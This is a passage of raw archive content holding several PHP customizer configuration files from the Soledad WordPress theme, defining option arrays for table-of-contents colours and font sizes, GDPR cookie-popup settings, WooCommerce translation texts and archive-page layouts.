			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_l1_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Parent Items', 'soledad' ),
	'id'       => 'penci_toc_l1_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_l1_fs',
		'mobile'  => 'penci_toc_l1_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_l2_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Child Items', 'soledad' ),
	'id'       => 'penci_toc_l2_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_l2_fs',
		'mobile'  => 'penci_toc_l2_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Sticky Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Color', 'soledad' ),
	'id'       => 'penci_toc_color_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_heading_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Heading Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l1_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l1_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l2_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l2_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_bd_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_hbgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Hover Color', 'soledad' ),
);
/* Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sticky Color', 'soledad' ),
	'id'       => 'penci_toc_sticky_color_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_sticky_heading_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Heading Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l1_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l1_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l2_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l2_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_bd_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_hbgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Hover Color', 'soledad' ),
);

/* Sticky Button Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sitcky Button on Mobile', 'soledad' ),
	'id'       => 'penci_toc_btnsticky_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_msticky_w_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_msticky_w_bdcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_msticky_btn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Background Color', 'soledad' ),
);
/*$options[] = array(
	'id'        => 'penci_toc_msticky_btn_bghcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Background Color', 'soledad' ),
);*/
$options[] = array(
	'id'        => 'penci_toc_msticky_btn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Color', 'soledad' ),
);

/*$options[] = array(
	'id'        => 'penci_toc_msticky_btn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Button Hover Color', 'soledad' ),
);*/

return $options;
PK     0w\%M    ?  customizer/config/sections/pencidesign_general_gdpr_section.phpnu [        <?php
$options = [];
$options[] = array(
	'label'    => esc_html__( 'Remove all default google fonts - load default fonts from located hosting', 'soledad' ),
	'id'       => 'penci_disable_default_fonts',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => esc_html__( 'Remove all default fonts loads by the theme from located hosting', 'soledad' ),
	'id'          => 'penci_disable_all_fonts',
	'description'=>__('This option only works when you check to option "Remove all default Google fonts" above.','soledad'),
	'type'        => 'soledad-fw-toggle',
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => esc_html__( 'Enable Cookie Law Policy PopUp At The Footer', 'soledad' ),
	'id'       => 'penci_enable_cookie_law',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'id'       => 'penci_cookie_law_style',
	'default'  => 'style-1',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Cookie Law Policy PopUp Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'style-1'   => __( 'Style 1', 'soledad' ),
		'style-2'   => __( 'Style 2', 'soledad' ),
		'style-3'   => __( 'Style 3', 'soledad' ),
		'style-4'   => __( 'Style 4', 'soledad' ),
	]
);
$options[] = array(
	'label'    => esc_html__( 'Remove "Privacy & Cookies Policy" notice after Accept clicked', 'soledad' ),
	'id'       => 'penci_show_cookie_law',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Description on Cookie Law PopUp', 'soledad' ),
	'id'       => 'penci_gprd_desc',
	'type'     => 'soledad-fw-textarea',
	'default'  => penci_default_setting_customizer( 'penci_gprd_desc' ),
	'sanitize' => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Accept"', 'soledad' ),
	'id'       => 'penci_gprd_btn_accept',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_btn_accept' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Read More"', 'soledad' ),
	'id'       => 'penci_gprd_rmore',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_rmore' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom URL on "Read More" Button', 'soledad' ),
	'id'       => 'penci_gprd_rmore_link',
	'type'     => 'soledad-fw-text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_rmore_link' ),
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => esc_html__( 'Custom Text "Privacy & Cookies Policy"', 'soledad' ),
	'type'     => 'soledad-fw-text',
	'id'       => 'penci_gprd_policy_text',
	'default'  => penci_default_setting_customizer( 'penci_gprd_policy_text' ),
	'sanitize' => 'sanitize_text_field'
);
$options_color_gprd = array(
	'penci_gprd_bgcolor'     => esc_html__( 'Background For Cookie Law Policy PopUp', 'soledad' ),
	'penci_gprd_color'       => esc_html__( 'Text Color For Cookie Law Policy PopUp', 'soledad' ),
	'penci_gprd_btn_color'   => esc_html__( 'Text Color For Accept Button', 'soledad' ),
	'penci_gprd_btn_bgcolor' => esc_html__( 'Background For Accept Button', 'soledad' ),
	'penci_gprd_border'      => esc_html__( 'Border Color For Cookie Law Policy PopUp', 'soledad' ),
);
foreach ( $options_color_gprd as $key => $label ) {
	$options[] = array(
		'label'    => $label,
		'id'       => $key,
		'type'     => 'soledad-fw-color',
		'sanitize' => 'sanitize_hex_color'
	);
}
return $options;
PK     0w\<x  x  N  customizer/config/sections/pencidesign_woo_section_transition_lang_section.phpnu [        <?php
$options = array();
if ( ! function_exists( 'penci_woo_get_translate_text' ) ) {
	return false;
}
$options[]                    = array(
	'default'  => 'Shop by Department',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Shop by Department', 'soledad' ),
	'id'       => 'penci_woo_vertical_menu_title',
	'type'     => 'soledad-fw-text',
);
$penciwoo_translate_texts     = penci_woo_get_translate_text();
$penci_woo_already_translates = array(
	'penci_woocommerce_wishlist_empty_text',
	'penci_woocommerce_compare_empty_text',
	'penci_woo_trans_compare_empty_title',
	'penci_woo_trans_wishlist_empty_title',
	'penci_woo_cart_empty_title',
	'penci_woo_cart_empty_textarea',
);
foreach ( $penci_woo_already_translates as $untranslate ) {
	unset( $penciwoo_translate_texts[ $untranslate ] );
}
foreach ( $penciwoo_translate_texts as $translate_option => $translate_default ) {
	$options[] = array(
		'id'       => $translate_option,
		'default'  => $translate_default,
		'sanitize' => 'sanitize_text_field',
		'label'    => __( 'Text: ', 'soledad' ) . $translate_default,
		'type'     => 'soledad-fw-text',
	);
}

return $options;
PK     0w\^E    G  customizer/config/sections/pencidesign_general_archive_page_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Category, Tag, Search, Archive Layout', 'soledad' ),
	'id'       => 'penci_archive_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-boxed'       => __( 'Grid Boxed', 'soledad' ),
		'grid-boxed-2'     => __( 'Grid Boxed 2', 'soledad' ),
		'grid-boxed-3'     => __( 'Grid Boxed 3', 'soledad' ),
		'grid-boxed-4'     => __( 'Grid Boxed 4', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'list-boxed'       => __( 'List Boxed', 'soledad' ),
		'list-boxed-2'     => __( 'List Boxed 2', 'soledad' ),
		'list-boxed-3'     => __( 'List Boxed 3', 'soledad' ),
		'timeline'         => __( 'Timeline', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	),
	'default'  => 'standard',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'              => 'penci_archive_grid_col',
	'label'           => __( 'Grid Columns', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
		'3' => __( '3 Columns', 'soledad' ),
		'4' => __( '4 Columns', 'soledad' ),
		'5' => __( '5 Columns', 'soledad' ),
	),
	'sanitize'        => 'penci_sanitize_choices_field',
	'default'         => '',
	'active_callback' => [
		[
			'setting'  => 'penci_archive_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2','grid-boxed-3', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'id'              => 'penci_archive_grid_mcol',
	'label'           => __( 'Grid Columns on Mobile', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
	),
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_archive_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'masonry', 'grid' ],
		]
	],
);
/* Archive Featured Settings */
$options[] = array(
	'label'    => esc_html__( 'Archive Builder Templates', 'soledad' ),
	'id'       => 'penci_heading_archi_template',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$archive_layout     = [];
$archive_layout[''] = __( 'Default Template', 'soledad' );
$archive_layouts    = get_posts( [
	'post_type'      => 'archive-template',
	'posts_per_page' => - 1,
	'meta_query'     => array(
		'relation' => 'OR',
		array(
			'key'     => 'penci_desktop_page_id',
			'compare' => 'NOT EXISTS',
		),
		array(
			'key'     => 'penci_desktop_page_id',
			'value'   => '',
			'compare' => '=',
		),
	),
] );
foreach ( $archive_layouts as $alayout ) {
	$archive_layout[ $alayout->post_name ] = $alayout->post_title;
}

$options[] = array(
	'id'          => 'penci_archive_cat_template',
	'label'       => __( 'Select Builder Template for Categories Pages', 'soledad' ),
	'description' => __( 'To select a custom template for each category, go to Dashboard > Posts and edit the category for which you want to change the template. You can add and edit a category template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_tag_template',
	'label'       => __( 'Select Builder Template for Tags Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a tag template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_author_template',
	'label'       => __( 'Select Builder Template for Author Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a author template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_date_template',
	'label'       => __( 'Select Builder Template for Day/Times Pages', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a day/times archive template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$options[] = array(
	'id'          => 'penci_archive_search_template',
	'label'       => __( 'Select Builder Template for Search Result Page', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => $archive_layout,
	'default'     => '',
	'description' => __( 'You can add new and edit a search result template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=archive-template' ) ) . '">this page</a>', 'soledad' ),
	'sanitize'    => 'penci_sanitize_choices_field'
);

$penci_featured_cat_layout = [
	''                         => esc_html__( 'None', 'soledad' ),
	'style-1 penci-grid-col-2' => esc_html__( 'Grid 2 Columns', 'soledad' ),
	'style-1 penci-grid-col-3' => esc_html__( 'Grid 3 Columns', 'soledad' ),
	'style-1 penci-grid-col-4' => esc_html__( 'Grid 4 Columns', 'soledad' ),
	'style-1 penci-grid-col-5' => esc_html__( 'Grid 5 Columns', 'soledad' ),
	'style-3'                  => esc_html__( 'Featured 3', 'soledad' ),
	'style-4'                  => esc_html__( 'Featured 4', 'soledad' ),
	'style-5'                  => esc_html__( 'Featured 5', 'soledad' ),
	'style-6'                  => esc_html__( 'Featured 6', 'soledad' ),
	'style-7'                  => esc_html__( 'Featured 7', 'soledad' ),
	'style-8'                  => esc_html__( 'Featured 8', 'soledad' ),
	'style-9'                  => esc_html__( 'Featured 9', 'soledad' ),
	'style-10'                 => esc_html__( 'Featured 10', 'soledad' ),
	'style-11'                 => esc_html__( 'Featured 11', 'soledad' ),
	'style-12'                 => esc_html__( 'Featured 12', 'soledad' ),
	'style-13'                 => esc_html__( 'Featured 13', 'soledad' ),
	'style-14'                 => esc_html__( 'Featured 14', 'soledad' ),
	'style-15'                 => esc_html__( 'Featured 15', 'soledad' ),
	'style-16'                 => esc_html__( 'Featured 16', 'soledad' ),
	'style-17'                 => esc_html__( 'Featured 17', 'soledad' ),
	'style-18'                 => esc_html__( 'Featured 18', 'soledad' ),
	'style-19'                 => esc_html__( 'Featured 19', 'soledad' ),
	'style-20'                 => esc_html__( 'Featured 20', 'soledad' ),
	'style-21'                 => esc_html__( 'Featured 21', 'soledad' ),
	'style-22'                 => esc_html__( 'Featured 22', 'soledad' ),
];
/* Archive Featured Settings */
$options[] = array(
	'label'    => esc_html__( 'Show Featured Posts', 'soledad' ),
	'id'       => 'penci_heading_featured_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
/* Category Featured */
$options[] = array(
	'id'       => 'penci_cat_featured_layout',
	'label'    => __( 'Category Pages Featured Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $penci_featured_cat_layout,
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_category_featured_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'       => __( 'Height for Featured Styles', 'soledad' ),
	'description' => __( 'for Featured Posts on Category Pages', 'soledad' ),
	'id'          => 'penci_category_featured_height',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_category_featured_height',
		'mobile'  => 'penci_category_featured_mheight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'type'        => 'soledad-fw-size',
	'id'          => 'penci_cat_featured_theight',
	'sanitize'    => 'absint',
	'label'       => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'description' => __( 'for Featured Posts on Category Pages', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_cat_featured_theight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Tags Featured */
$options[] = array(
	'id'       => 'penci_tag_featured_layout',
	'label'    => __( 'Tag Pages Featured Style', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => $penci_featured_cat_layout,
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_tag_featured_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles', 'soledad' ),
	'id'       => 'penci_tag_featured_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_tag_featured_height',
		'mobile'  => 'penci_tag_featured_mheight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_tag_featured_theight',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'description' => __( 'for Featured Posts on Tags Pages', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_tag_featured_theight',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_arf_orderby',
	'label'    => __( 'Featured Posts Sort By', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		''              => __( 'Published Date', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	],
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_sortby',
	'label'    => __( 'Featured Posts Order By', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'desc' => __( 'DESC', 'soledad' ),
		'asc'  => __( 'ASC', 'soledad' ),
	],
	'default'  => 'desc',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'id'       => 'penci_arf_img_ratio',
	'type'     => 'soledad-fw-text',
	'label'    => __( 'Image Ratio for Grid Layout (Unit is %. Eg: 50.5)', 'soledad' ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_text_field',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_arf_mheight',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles', 'soledad' ),
	'id'       => 'penci_arf_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_height',
		'mobile'  => 'penci_arf_mheight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Height for Featured Styles on Tablet', 'soledad' ),
	'id'       => 'penci_arf_theight',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_theight',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Gap Between Featured Posts', 'soledad' ),
	'id'       => 'penci_arf_gap',
	'type'     => 'soledad-fw-size',
	'default'  => '4',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_gap',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Custom Title Words Length', 'soledad' ),
	'id'       => 'penci_arf_titlength',
	'type'     => 'soledad-fw-size',
	'default'  => '',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arf_titlength',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Hide Categories', 'soledad' ),
	'id'       => 'penci_arcf_cat',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_arcf_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Post Author', 'soledad' ),
	'id'       => 'penci_arcf_author',
